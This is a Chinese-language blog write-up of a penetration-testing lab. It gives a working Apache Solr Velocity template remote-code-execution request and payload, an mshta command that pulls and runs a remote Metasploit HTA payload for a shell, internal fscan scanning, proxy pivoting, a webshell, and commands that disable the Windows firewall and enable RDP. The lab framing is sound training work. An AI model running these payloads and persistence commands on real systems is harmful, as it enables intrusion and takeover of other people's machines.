外网靶场1

信息收集

做了一个简单的信息收集
image-20240319002707814

8.2 的版本,并且可以创建core ,不能修改debug 模式

web 渗透

  1. 默默打开了佩奇文档

    image-20240319002913973

    前面几个都失败了

    直接利用这个

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST /solr/test/config HTTP/1.1
    Host:

    {

    "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
    }
    }

    image-20240319003053970

    使用paylod

    image-20240319003210991

    命令执行成功

    尝试反弹shell

    1
    2
    /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x="")+%23set($rt=$x.class.forName("java.lang.Runtime"))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName("java.lang.String"))+%23set($ex=$rt.getRuntime().exec("whoami"))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

    image-20240319003242884

    使用msf hta_server

    image-20240319200231164

    1
    mshta http://8.xxx.xxx.25:8080/zHiMoiaBTT.hta

    image-20240319200308672

内网信息收集

  1. 网段信息

    image-20240319200547817

  2. fscan 扫描

    image-20240319200455148

    image-20240319201721378

内网横向移动

  1. 开启代理

    开启主机

    image-20240319200722260

    开启客户端

    image-20240319201126535

    image-20240319200941210

    image-20240319201113272

    代理成功

  2. 172.16.7.99

    • 端口扫描

      1
      fscan64.exe -h 172.16.7.1/24

      发现存在nmap

      image-20240319202205912

    • 浏览器开代理

      image-20240319202518831

      进入内网

    • 爆破web path

      image-20240319203250687

      查看admin

      image-20240319203329198

      爆破一下

      发现爆破失败

      发现路径www.zip

    • 代码审计

      image-20240319205907425

      查找密码

      image-20240319210431647

      尝试爆破

      失败,先放着,尝试使用其他方式

      image-20240319211220654

      找到新的

      image-20240319211303629

      爆破成功

      image-20240319211341244

      登录成功

    • 写webshell

      image-20240319211432284

      连接antSword

      image-20240319212108451

      查看网段

      image-20240319212223475

      最后一个机子了

权限维持

  1. 关闭防火墙

    1
    set COMMAND netsh advfirewall set allprofiles state off

    image-20240319212426035

    这个意思是没有设置嘛?

  2. 开启3389

    1
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

外网靶场1
https://tsy244.github.io/2024/03/19/靶场记录/外网靶场1/
Author
August Rosenberg
Posted on
March 19, 2024
Licensed under